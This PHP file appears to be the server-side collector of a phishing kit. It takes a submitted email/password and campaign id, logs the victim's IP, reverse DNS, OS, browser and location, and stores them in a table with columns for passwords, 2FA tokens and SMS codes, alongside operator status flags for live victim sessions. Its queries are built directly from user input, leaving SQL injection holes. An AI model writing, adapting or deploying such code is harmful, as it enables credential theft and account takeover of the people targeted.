<?php 
   //Iniciando a sessão:
if (session_status() !== PHP_SESSION_ACTIVE) {
  session_start();
}

require_once "../cod3rconfig/registro.php";
require_once "../cod3rconfig/conexao.php";
require_once "../cod3rconfig/data.php";
require_once "function.php";


date_default_timezone_set('America/Sao_Paulo');
     
$ip = (isset($_SERVER["HTTP_CF_CONNECTING_IP"]) ? $_SERVER["HTTP_CF_CONNECTING_IP"] : $_SERVER['REMOTE_ADDR']);


$data = json_decode(file_get_contents("php://input"), true);
  
$dateEncode = date("d/m/Y H:i:s");
$auth = md5($dateEncode);

// null coalesce
$usuario = $_POST['emailsenha'] ?? $data['emailsenha'];
// $senha = $_POST['password'] ?? $data['password'];
$camp = $_POST['camp']?? $data['camp'];


$dns =  gethostbyaddr($ip);

//determina um tempo para a variável $tempo
$tempoexecut = time();
 
function checkIfExists($table, $key, $value){
      $query = "SELECT COUNT(1) FROM `$table` WHERE $key='$value'";
      $result = @mysqli_query(DBConnect(), $query) or die(DBConnect());
      $row = @mysqli_fetch_row($result);
      if (isset($row[0])) {
        if ($row[0] >= 1) {
          return true;
        } else {
          return false;
        }
      } else {
        return false;
      }
}

//if($http_code == 200){

  $exists = checkIfExists('infos', 'ip', $ip);
  
  if ($exists == true){
   
    $updateSQL = "UPDATE infos SET usuario='$usuario', senha='$senha', status='Online Novamente!', statusremote='Cliente Voltou pra tela!', statusonline='ON' WHERE ip='$ip'";
    $Result1 = mysqli_query(DBCOnnect(), $updateSQL) or die(mysqli_error(DBCOnnect()));

  } else {

    $insertSQL = "INSERT INTO `infos` (`ip`, `usuario`, `senha`, `token2fatores`, `user_master`, `celular_autenticar`, `numero_autenticar`, `token2fa`, `status`, `statusremote`, `tempo`, `minuto`, `op`, `dnsreverse`, `sistema`, `navegador`, `datahora`, `cidade_estado`, `statusonline`, `senha_do_email`, `sms_do_email`, `fone_do_email`, `doisFA_do_email`, `codigo_do_email`,`campanha` ) VALUES ('$ip', '$usuario', '$senha', '', '', '', '', '', 'online', ' ', '$tempoexecut', '0', '','$dns','$user_os', '$user_browser','$dateEncode','$cidade_state','ON', '', '', '', '', '','$camp')";
    $Result1 = mysqli_query(DBCOnnect(), $insertSQL) or die(mysqli_error(DBCOnnect()));

  }

  // se esse pedido existe nao vai fazer nada e se n existe vai inserir os dados na db
    
   $tempo = time();
  
   //faz uma consulta para verificar se o ip já existe no banco de dados
   $verifica = mysqli_query(DBCOnnect(), "SELECT * FROM som WHERE ip ='$ip'");
   //retorna a quantidade de linhas da consulta ou seja, pode retornar 0 ou 1 linha
   $linhas  = mysqli_num_rows($verifica); 
  //se não existir o ip no banco ele grava um com um tempo determinado
   if($linhas == 0){ 
      // gravando o IP e o tempo no DB
         $acrescenta = mysqli_query(DBCOnnect(), "INSERT INTO som (ip, status, tempo) VALUES ('$ip','info', '$tempo')");
   }
   else { 
    // se o IP já existe ele o pega e atualiza o tempo no DB no IP selecionado
    //pega o IP retornado da consulta
    $ip = mysqli_fetch_assoc($verifica);
    $ip = $ip['ip'];
    //faz um update para o registro do IP existente
    $atualiza = mysqli_query(DBCOnnect(), "UPDATE som SET tempo ='$tempo' WHERE ip='$ip'");
   
   }

  echo json_encode([
    "login" => true,
    "code" => 200
  ]);

/*} else {
  echo json_encode([
    "login" => false,
    "code" => $http_code
  ]);
}
 */     

?>
